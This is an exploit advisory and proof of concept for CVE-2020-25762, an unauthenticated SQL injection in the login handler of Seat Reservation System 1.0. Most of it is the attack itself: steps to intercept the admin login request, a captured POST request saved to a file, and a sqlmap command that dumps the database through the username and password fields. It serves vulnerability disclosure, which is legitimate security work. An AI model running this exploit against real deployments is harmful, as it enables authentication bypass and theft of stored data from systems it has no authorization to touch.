# Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection# Exploit Author: Rahul Ramkumar# Date: 2020-09-16# Vendor Homepage: www.sourcecodester.com# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip# Version: 1.0# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1# CVE: CVE-2020-25762# Description
The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious inputin the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc.#POC1) Navigate to the admin login page
Example:
http://192.168.1.72/seat_reservation/admin/login.php
2) Fill in dummy values for'username'and'password' fields and send the request via an HTTP intercept tool
3) Save the request to file. Example, seat_reservation_sqli.req
POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1
Host:192.168.1.72
User-Agent: Mozilla/5.0(Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length:32
Origin: http://192.168.1.72
DNT:1
Connection: close
username=admin&password=dummy
4) Run SQLmap on the file,
sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10
